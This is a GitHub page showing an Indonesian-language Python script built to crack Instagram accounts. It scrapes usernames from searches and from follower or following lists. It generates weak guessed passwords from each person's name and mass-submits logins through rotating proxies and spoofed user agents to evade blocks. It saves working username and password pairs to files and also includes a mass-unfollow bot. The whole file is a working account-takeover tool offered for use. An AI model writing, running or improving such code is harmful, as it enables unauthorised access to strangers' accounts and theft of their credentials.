-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy path18h.py
775 lines (715 loc) ยท 32.9 KB
/
18h.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
# coding:utf-8
#/usr/bin/python
try:
import json
import uuid
import hmac
import random
import hashlib
import urllib
import stdiomask
import urllib.request
import calendar
except ImportError as e:
exit(f'\n [\033[1;35m>\033[0m] module {e} belum terinstall')
import requests,bs4,json,os,sys,random,datetime,time,re
try:
import rich
except ImportError:
os.system('pip install rich')
time.sleep(1)
try:
import rich
except ImportError:
exit('Tidak Dapat Menginstall Module rich, Coba Install Manual (pip install rich)')
from rich.table import Table as me
from rich.console import Console as sol
from bs4 import BeautifulSoup as sop
from concurrent.futures import ThreadPoolExecutor as tred
from rich.console import Group as gp
from rich.panel import Panel as nel
from rich import print as cetak
from rich.markdown import Markdown as mark
from rich.columns import Columns as col
from time import sleep
from concurrent.futures import ThreadPoolExecutor
from datetime import datetime
from bs4 import BeautifulSoup as parser
import time
day=datetime.now().strftime("%d-%b-%Y")
nyMnD = 5
nyMxD = 10
current_GMT = time.gmtime(time.time())
insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
url='https://www.instagram.com'
menudump=[]
try:
os.mkdir('result')
except:
pass
try:
prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=1000000&country=all&ssl=all&anonymity=all').text
open('.prox.txt','w').write(prox)
except Exception as e:
print('GAGAL')
prox=open('.prox.txt','r').read().splitlines()
CY='\033[96;1m'
H='\033[1;32m' #HIJAU
M='\033[1;31m' #MERAH
K='\033[1;33m' #KUNING
U='\033[1;35m' #UNGU
O='\033[38;2;255;127;0;1m' #ORANGE
C='\033[0m' #CLEAR
N = '\x1b[0m' # WARNA MATI
USN="Mozilla/5.0 (Linux; Android 12; SM-G991B Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36 Instagram 214.1.0.29.120 Android (31/12; 480dpi; 1080x2176; samsung; SM-G991B; o1s; exynos2100; ru_RU; 333717274)"
# USN="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
ugen=open('ua.txt','r').read().splitlines()
internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
s=requests.Session()
# CLEAR
def clear():
os.system('clear')
# BANNER
def banner():
clear()
wel = '# ๐ค ๐๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐ ๐๐๐๐๐ ๐ค'
wel2 = mark(wel, style='green')
sol().print(wel2)
au='๐๐๐๐๐๐ : ๐๐๐ฆ๐ฉ๐ข๐ค-๐๐ \nWHATSAPP : 0๐ช๐ง๐ช๐ช๐ช๐ค๐ค๐ค๐ซ๐ฆ๐ฆ'
pengembang1=nel(au,style="green")
cetak(nel(pengembang1, title='๐๐๐
๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐ '))
try:
# python 2
urllib_quote_plus = urllib.quote
except:
# python 3
urllib_quote_plus = urllib.parse.quote_plus
def cekAPI(cookie):
user=open('.username','r').read()
try:
c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':cookie},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
i=c.json()["data"]["user"]
nama=i["full_name"]
followers=i["edge_followed_by"]["count"]
following=i["edge_follow"]["count"]
external.append(f'{nama}|{followers}|{following}')
except (ValueError,KeyError):
wel='# Instagram Checkpoint'
wel2 = mark(wel, style='red')
sol().print(wel2)
time.sleep(4)
os.remove('.kukis.log')
os.remove('.username')
exit()
return external,user
def login_kamu():
if "sukses" in lisensiku:
try:
kuki=open('.kukis.log','r').read()
except FileNotFoundError:
banner()
wel = '# Pilih Cara Kamu Login'
wel2 = mark(wel, style='green')
sol().print(wel2)
io = '[1] Login Menggunakan Cookie\n[2] Login Menggunakan Username & Password'
oi = nel(io, style='green')
cetak(nel(oi, title='Pilih Cara Kamu Login'))
loginpil=input(f"[๐ท] Masukan Pilihan :{C} ")
if loginpil=='1':
wel = '# Gunakan username dan cookies instagram untuk login. sebelum login pastikan akun bersifat publik bukan privat'
wel2 = mark(wel, style='red')
sol().print(wel2)
us=input(f'{H}[๐ท] Masukan Username :{C}')
cok=input(f'{H}[๐ท] Masukan Cookie :{C}')
kuki=open('.kukis.log','w').write(cok)
user=open('.username','w').write(us)
os.system('python run.py')
elif loginpil == '2':
login()
ex,user=cekAPI(kuki)
cookie={'cookie':kuki}
instagram(ex,user,cookie).menu()
else:
login()
def login():
global external
try:
wel = '# Gunakan username dan password instagram untuk login. sebelum login pastikan akun bersifat publik bukan privat'
wel2 = mark(wel, style='red')
sol().print(wel2)
us=input(f"{CY}[๐ท] Masukan username: {C}")
pw=stdiomask.getpass(prompt=f'{CY}[๐ท] Masukan password: {C}')
except KeyboardInterrupt:
wel = '# KeyboardInterrupt terdeteksi... keluar !'
wel2 = mark(wel, style='red')
sol().print(wel2)
exit()
x=instagramAPI(us,pw).loginAPI()
if x.get('status')=='success':
open('.username','a').write(us)
open('.kukis.log','a').write(x.get('cookie'))
cookie={'cookie':x.get('cookie')}
print(f'\n{H}>{C} Login berhasil')
os.system('python run.py')
elif x.get('status')=='checkpoint':
wel = '# Login checkpoint'
wel2 = mark(wel, style='red')
sol().print(wel2)
login()
else:
wel = '# Username atau password yang anda masukan salah'
wel2 = mark(wel, style='red')
sol().print(wel2)
login()
class instagram:
def __init__(self,external,username,cookie):
self.ext=external
self.username=username
self.cookie=cookie
self.s=requests.Session()
def logo(self):
for i in external:
try:
nama=i.split('|')[0]
followers=i.split('|')[1]
following=i.split('|')[2]
except:
pass
banner()
welcome=f'''[{H}โข{C}]Selamat Datang : {nama}
[{H}โข{C}]Username : {self.username}
[{H}โข{C}]Followers : {followers}
[{H}โข{C}]Following : {following}'''
print(welcome)
io='[01] Crack Dari Pencarian\n[02] Crack Dari Pengikut\n[03] Crack dari Mengikuti\n[04] Check Status Crack \n[05] Lihat Hasil Crack\n[06] Bot Auto Unfollow\n[R] Laporkan Bug\n[C] Changelog\n[E] Exit'
oi = nel(io, style='green')
cetak(nel(oi, title='๐๐๐๐'))
def BUG(self):
bug=f'[๐ท] Bantu saya mengembangkan script ini. apapun bugnya tolong laporkan kepada saya, semakin dikit bugnya semakin baik scriptnya.\n[๐ท] Anda bisa melaporkan langsung ke wa admin \n'
bug1 = nel(bug, style='green')
cetak(nel(bug1, title='๐๐๐๐๐๐ ๐๐๐'))
exit()
def ChangeLog(self):
io='[1] Fix bug login instagram\n[2] Ganti tampilan scripts\n[3] Fix bug lisensi invalid'
oi = nel(io, style='green')
cetak(nel(oi, title='Fitur yang di update'))
io='[1] Bot unfollow instagram\n[2] Bot spam komen'
oi = nel(io, style='green')
cetak(nel(oi, title='Fitur tambahan'))
io='[1] Untuk fitur brute force masih dalam perbaikan\n[2] Untuk fitur Bot unfollow masih dalam perbaikan\n[3] Untuk fitur bot komen masih dalam perbaikan'
oi = nel(io, style='green')
cetak(nel(oi, title='Fix Bug'))
exit()
def Exit(self):
kel='# Apakah anda yakin ingin keluar ?'
kel1=mark(kel,style='red')
sol().print(kel1)
x=input(f'\n{H}[๐ท] Jawaban [y/t] : {C}')
if x in ('y','Y'):
os.remove('.kukis.log')
os.remove('.username')
os.system('python run.py')
elif x in ('t','T'):
os.system('python run.py')
else:
self.Exit()
def sixAPI(self,six_id):
url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
x = requests.get(url)
x_jason = x.json()
uid = str( x_jason['users'][0].get("user").get("pk") )
return uid
def unfollowAPI(self,user_id,username_id,cookie):
uuid=generateUUID(True)
xx=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
s.headers.update({'Connection': 'close',
'Accept': '*/*',
'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie2': '$Version=1',
'Accept-Language': 'en-US',
'User-Agent': User_Agent()})
data = json.dumps({'_uuid': uuid,
'_uid': username_id,
'user_id': user_id,
'_csrftoken': crf_token})
self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
self.generateUUID(False),
urllib.request.quote(data))
return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
def searchAPI(self,cookie,nama):
try:
x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
for i in x_jason['users']:
user=i['user']
username=user['username']
fullname=user['full_name']
internal.append(f'{username}|{fullname}')
except requests.exceptions.ConnectionError:
exit(f'\n [{M}!{C}] Koneksi internet bermasalah')
return internal
def idAPI(self,cookie,id):
if 'sukses' in lisensiku:
try:
m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
m_jason=m.json()["data"]["user"]
idx=m_jason["id"]
except requests.exceptions.ConnectionError:
exit(f"\n{M}โฃ[!] Koneksi internet bermasalah{C}")
except Exception as e:
exit(f"\n{M}โฃ[!] Username yang anda masukan tidak di temukan pastikan target bersifat publik{C}")
return idx
else:lisensi()
def infoAPI(self,cookie,api,id):
if 'sukses' in lisensiku:
try:
idtar=f'# [๐ง] ๐๐๐๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐๐๐๐ ๐๐ [๐ง]'
idtar1=mark(idtar,style='yellow')
sol().print(idtar1)
x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
if 'pengikut' in menudump:
maxid=x_jason['next_max_id']
for z in range (9999):
x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
try:
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
try:
maxid=x_jason['next_max_id']
except:
break
except:
if 'challenge' in x.text:
break
else:
continue
else:pass
except requests.exceptions.ConnectionError:
exit(f'\n{M}โฃ[!] Koneksi internet bermasalah{C}')
except Exception as e:
print(f'\n{M}โฃ[!] Username yang anda masukan tidak di temukan{C}')
return internal
else:lisensi()
def passwordAPI(self,xnx):
idtar=f'# [๐ผ] ๐๐๐๐๐ ๐๐ : {len(internal)} [๐ผ]'
idtar1=mark(idtar,style='yellow')
sol().print(idtar1)
pilpass='# Pilihan Kombinasi Password'
pilpass1=mark(pilpass,style='green')
sol().print(pilpass1)
komb='[1] FirstName123 Firstname1234\n[2] FirtsName123 Firstname1234 Firstname12345 FullName\n[3] FirstName+123,FullName,Full Name\n[4] Password Manual'
komb1 = nel(komb, style='green')
cetak(nel(komb1))
c=input(f'{H}[๐ท] Masukan Pilihan :{C} ')
if c=='1':
self.generateAPI(xnx,c)
elif c=='2':
self.generateAPI(xnx,c)
elif c=='3':
self.generateAPI(xnx,c)
elif c=='7':
self.generateAPI(xnx,c)
elif c=='4':
ui='# ๐๐๐๐๐๐๐๐ ๐๐๐๐๐๐'
uu=mark(ui,style='')
sol().print(uu)
print(f'{M} Contoh sayang,anjing,bangsat')
print('')
zx=input(f'{CY}[๐ท] List password :{C} ')
self.generateAPI(xnx,c,zx)
else:
self.passwordAPI(xnx)
def generateAPI(self,user,o,zx=''):
io=f'[๐ท] Hasil OK disimpan ke: result/{day}.txt\n[๐ท] Hasil CP disimpan ke: result/{day}.txt'
oi = nel(io, style='green')
cetak(nel(oi, title='CRACK DIMULAI'))
ipku='# [๐ถ] Jika alamat IP terkena spam hidupkan mode pesawat selama 10 detik'
ipku1=mark(ipku,style='red')
sol().print(ipku1)
with ThreadPoolExecutor(max_workers=15) as shinkai:
for i in user:
try:
username=i.split("|")[0]
password=i.split("|")[1].lower()
for w in password.split(" "):
if len(w)<3:
continue
else:
w=w.lower()
if o=="1":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w+'1234']
else:
sandi=[w]
elif o=="2":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w,w+'1234',w+'12345']
else:
sandi=[w+'123',w,w+'1234',w+'12345']
elif o=="3":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w,password.lower()]
else:
sandi=[w+'123',w,password.lower()]
elif o=="7":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w+'1234',w+'12345',w]
else:
sandi=[w+'123',w+'1234',w+'12345',password.lower()]
elif o=="4":
if len(zx) > 3:
sandi = zx.replace(" ", "").split(",")
else:
break
shinkai.submit(self.crackAPI,username,sandi)
except:
pass
print('\n')
oi='# ๐๐๐๐๐ ๐๐๐๐๐๐๐'
io=mark(oi,style='yellow')
sol().print(io)
exit()
def APIinfo(self,user):
try:
x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
x_jason=x.json()["data"]["user"]
nama=x_jason["full_name"]
pengikut=x_jason["edge_followed_by"]["count"]
mengikut=x_jason["edge_follow"]["count"]
postingan=x_jason["edge_owner_to_timeline_media"]["count"]
except:
pass
return nama,pengikut,mengikut,postingan
def crackAPI(self,user,pas):
global loop,success,checkpoint
sys.stdout.write(f"\r{CY}[๐ท] [{K}{loop}/{len(internal)}{C}] {H}[ OK : {len(success)}]{C} {K}[ CP : {len(checkpoint)}]{C} "),sys.stdout.flush()
try:
for pw in pas:
ts = calendar.timegm(current_GMT)
nip=random.choice(prox)
proxs= {'http': 'socks5://'+nip}
aa='Mozilla/5.0 (HuaweiBrowser/11.1.3.300 '
b=random.choice(['4','5','6','7','8','9','10','11','12'])
c='HarmonyOS; JKM-AL00b; HMSCore 6.4.0.311'
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.randrange(1, 999)
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 HuaweiBrowser/11.1.3.300'
h=random.randrange(73,100)
i='0'
j=random.randrange(4200,4900)
k=random.randrange(40,150)
l='Mobile Safari/537.36'
uaku=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
token=s.get('https://www.instagram.com/accounts/login/?next=/accounts/logout/')
headers = {
'Host': 'www.instagram.com',
'x-ig-www-claim': '0',
'x-instagram-ajax': 'fa7c6bc1855d-hot',
'content-type': 'application/x-www-form-urlencoded',
'accept': '*/*',
'x-requested-with': 'XMLHttpRequest',
'x-asbd-id': '198387',
'user-agent': uaku,
'x-csrftoken': token.cookies['csrftoken'],
'x-ig-app-id': '1217981644879628',
'origin': 'https://www.instagram.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.instagram.com/accounts/login/?next=/accounts/logout/',
'accept-encoding': 'gzip, deflate',
'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
}
# "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
param={
"enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
"username": user,
"optIntoOneTap": 'false',
"queryParams": "{}",
"stopDeletionNonce": "",
"trustedDeviceRecords": "{}"}
x=s.post("https://www.instagram.com/accounts/login/ajax/",headers=headers,data=param,proxies=proxs)
x_jason=json.loads(x.text)
if "userId" in str(x_jason):
nama,pengikut,mengikut,postingan=self.APIinfo(user)
io=f'Nama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti: {mengikut}\nPostingan: {postingan}'
oi = nel(io, style='green')
print('\n')
cetak(nel(oi, title='๐๐๐๐๐๐-๐๐ ๐๐๐๐'))
open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
success.append(user)
break
elif 'checkpoint_url' in str(x_jason):
nama,pengikut,mengikut,postingan=self.APIinfo(user)
io=f'Nama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti: {mengikut}\nPostingan: {postingan}'
print('\n')
oi=nel(io,style='yellow')
cetak(nel(oi, title='๐๐๐๐๐๐๐๐๐๐'))
open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
checkpoint.append(user)
break
elif 'Please wait a few minutes' in str(x.text):
sys.stdout.write(f"\rโฃ[{U}!{C}] {U}IP KENA SPAM TUNGGU BEBERAPA MENIT{C}");sys.stdout.flush();sleep(0)
# self.crackAPI(user,pas)
elif 'ip_block' in str(x.text):
sys.stdout.write(f"\rโฃ[{U}!{C}] {U}IP DI BLOKIR ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(0)
self.crackAPI(user,pas)
elif 'spam' in str(x.text):
sys.stdout.write(f"\rโฃ[{U}!{C}] {U}TERDETEKSI SPAM ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(0)
# self.crackAPI(user,pas)
else:
continue
loop+=1
except:
self.crackAPI(user,pas)
def checkAPI(self,user,pw):
try:
token=s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
s.headers.update({
'authority': 'www.instagram.com',
'x-ig-www-claim': 'hmac.AR3zIAXiCI-9HTolg48FpJP7AEenGCZ1-Ze1k-8JC6Y3WfEP',
'x-instagram-ajax': '82a581bb9399',
'content-type': 'application/x-www-form-urlencoded',
'accept': '*/*',
'user-agent': user_agent(),
'x-requested-with': 'XMLHttpRequest',
'x-csrftoken': crf_token,
'x-ig-app-id': '936619743392459',
'origin': 'https://www.instagram.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.instagram.com/',
'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'
})
param={
"username": user,
"enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
"optIntoOneTap": False,
"queryParams": {},
"stopDeletionNonce": "",
"trustedDeviceRecords": {}
}
x=s.post("https://www.instagram.com/accounts/login/ajax/",data=param);sleep(1)
x_jason=json.loads(x.text)
if "userId" in x.text:
nama,pengikut,mengikut,postingan=self.APIinfo(user)
io=f'Nama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti: {mengikut}\nPostingan: {postingan}'
oi = nel(io, style='green')
print('\n')
cetak(nel(oi, title='๐๐๐๐๐๐-๐๐ ๐๐๐๐'))
elif 'checkpoint_url' in x.text:
nama,pengikut,mengikut,postingan=self.APIinfo(user)
io=f'Nama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti: {mengikut}\nPostingan: {postingan}'
oi = nel(io, style='yellow')
print('\n')
cetak(nel(oi, title=' CHECKPOINT'))
elif 'Please wait a few minutes' in str(x.text):
sys.stdout.write(f"\r {U}!{C}] {U}Please wait a few minutes second{C}");sys.stdout.flush();sleep(10)
self.checkAPI(user,pw)
except:
self.checkAPI(user,pw)
def menu(self):
self.logo()
c=input(f' {H}[PILIH] :{C} ')
if c=='':
self.menu()
elif c in ('1','01'):
mas='# Masukan jumlah target'
mas1=mark(mas,style='green')
sol().print(mas1)
m=int(input(f'\n{CY}[๐ท] Jumlah : {C}'));print('')
mas='# Masukan nama ranfom untuk di searching'
mas1=mark(mas,style='green')
sol().print(mas1)
for i in range(m):
i+1
nama=input(f'{CY}โฃ[>] Masukan nama ({H}{len(internal)}{C}): ')
name=self.searchAPI(self.cookie,nama)
self.passwordAPI(name)
elif c in ('2','02'):
pr='# ๐๐๐๐๐๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐๐๐
๐๐ ๐๐๐๐๐๐'
po=mark(pr,style='red')
sol().print(po)
mas=input('Apakah anda ingin crack masal? y/t > ')
if mas in ['y','Y']:
masal(self)
elif mas in ['t','T']:
massal(self)
elif mas in ['']:
print('๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐!')
elif c in ('3','03'):
pr='# ๐๐๐๐๐๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐๐๐
๐๐ ๐๐๐๐๐๐'
po=mark(pr,style='red')
sol().print(po)
mas=input('Apakah anda ingin crack masal? y/t > ')
if mas in ['y','Y']:
mengi(self)
elif mas in ['t','T']:
meng(self)
elif mas in ['']:
print('๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐!')
elif c in ('4','04'):
print('')
for i in os.listdir('result'):
print(f' [{U}>{C}] {i}')
c=input(f'\n {CY}โฃ>>> Masukan nama file: {C}')
g=open("result/%s"%(c)).read().splitlines()
print(f'\n{CY}โฃ[+] Total Result MASTER_FU{H}{len(g)}{C}')
print(f'\n{CY}โฃ[!] Proses mengecek status akun. silahkan tunggu sebentar{C}\n')
for s in g:
usr=s.split("|")[0]
pwd=s.split("|")[1]
self.checkAPI(usr,pwd)
exit(f'\n\n{K}โฃ[#] proses check selesai...{C}')
elif c in ('5','05'):
print('')
for i in os.listdir('result'):
print(f' [{U}>{C}] {i}')
c=input(f'\n {U}โฃ>>> Masukan nama file: {C}')
g=open("result/%s"%(c)).read().splitlines()
xx=c.split("-")
xc=xx[0]
print(f'\n{K}โฃ[>] Total result yang di temukan [{H}{len(g)}{C}]')
for s in g:
usr=s.split("|")[0]
pwd=s.split("|")[1]
fol=s.split("|")[2]
ful=s.split("|")[3]
if xc=="checkpoint":
print(f"""
[{M}+{C}] {M}๐๐๐๐๐๐๐๐๐๐{C}:
{M}|{C}
{M}โโด>{C} Username: {O}{usr}{C}
{M}โโด>{C} Password: {O}{pwd}{C}
{M}โโด>{C} Followers: {O}{fol}{C}
{M}โโด>{C} Following: {O}{ful}{C}
""");sleep(0.05)
else:
print(f"""
{H}[>]{C}{H} ๐๐๐ฆ๐ฉ๐ข๐ค-๐๐ : ๐๐๐๐ {C}
{H}[>]{C}{H} Username : {H}{usr}{C}
{H}[>]{C}{H} Password : {H}{pwd}{C}
{H}[>]{C}{H} Pengikut : {H}{fol}{C}
{H}[>]{C}{H} Mengikuti : {H}{ful}{C}
""");sleep(0.05)
elif c in ('6','06'):
global following
six=0
print(f'\n [{U}!{C}] Bot Unfollow-All Dijalankan\n')
x=open('.kukis.log','r').read()
x_id=re.findall('sessionid=(\d+)',x)[0]
back=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',x_id)
for i in following:
six+=1
sleep(float( random.uniform(nyMnD*10,nyMxD*10) / 10 ))
six_id=self.sixAPI(i)
print(f' {str(six)}{U}}}{C} {i} {H}Unfollow-Berhasil{C}')
self.unfollowAPI(six_id,'5452333948',self.cookie)
#print(w)
input(f'\n\n [{U}#{C}] Unfollow-all selesai...');self.menu()
elif c in ('r','R'):
self.BUG()
elif c in ('c','C'):
self.ChangeLog()
elif c in ('e','E'):
self.Exit()
else:
self.menu()
def tlisensi():
banner()
wel='# ๐๐๐๐๐๐๐ ๐๐ ๐๐๐ ๐๐๐๐๐๐๐๐๐๐ ๐๐ ๐๐๐๐๐'
wel2 = mark(wel, style='red')
sol().print(wel2)
time.sleep(2)
lisen=input('[๐ท] Enter License : ')
open('.lisen.txt','w').write(lisen)
lisensi()
def lisensi():
try:
cek=open('.lisen.txt').read()
lisensikuni.append(cek)
except:
tlisensi()
ses=requests.Session()
res=ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIyMzU4NjUxMCIsIlRMSVY3Mk52YXQ1Ym16WG1PUy9jelNVbEx1UmppTWlLSDkzaTFWM1IiXQ==&ProductId=16355&Key='+lisensikuni[0]).json()
status=res['licenseKey']['key']
if status ==cek:
banner()
wel='# LICENSE APPLICABLE '
wel2 = mark(wel, style='green')
sol().print(wel2)
time.sleep(2)
lisensiku.append("sukses")
login_kamu()
else:
tlisensi()
def mengi(self):
try:
menudump.append('pengikut')
mas='# Target harus bersifat publik jangan privat'
mas1=mark(mas,style='red')
sol().print(mas1)
m=int(input(f'\n{H}[?{H}] Masukan jumlah target: {N}'))
except:m=1
for t in range(m):
t +=1
so=f'# TOTAL ID :{len(internal)}'
pi=mark(so,style='green')
sol().print(pi)
nama=input(f' [{t}] Masukan Username : ')
id=self.idAPI(self.cookie,nama)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
self.passwordAPI(info)
def meng(self):
mas='# Target harus bersifat publik jangan privat'
mas1=mark(mas,style='red')
sol().print(mas1)
m=input(f'{H}[๐ฏ] Username target : {C}')
id=self.idAPI(self.cookie,m)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
self.passwordAPI(info)
def masal(self):
try:
menudump.append('pengikut')
mas='# ๐๐๐ซ๐ ๐๐ญ ๐ก๐๐ซ๐ฎ๐ฌ ๐๐๐ซ๐ฌ๐ข๐๐๐ญ ๐ฉ๐ฎ๐๐ฅ๐ข๐ค ๐ฃ๐๐ง๐ ๐๐ง ๐ฉ๐ซ๐ข๐ฏ๐๐ญ'
mas1=mark(mas,style='red')
sol().print(mas1)
m=int(input(f'\n{H}[?{H}] Masukan jumlah target: {N}'))
except:m=1
for t in range(m):
t +=1
so=f'# ๐๐๐๐๐ ๐๐ :{len(internal)}'
pi=mark(so,style='green')
sol().print(pi)
nama=input(f' [{t}] Masukan Username : ')
id=self.idAPI(self.cookie,nama)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
self.passwordAPI(info)
def massal(self):
menudump.append('pengikut')
mas='# Target harus bersifat publik jangan privat'
mas1=mark(mas,style='red')
sol().print(mas1)
m=input(f'{H}[๐ฏ] Username target : {C}')
id=self.idAPI(self.cookie,m)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
self.passwordAPI(info)
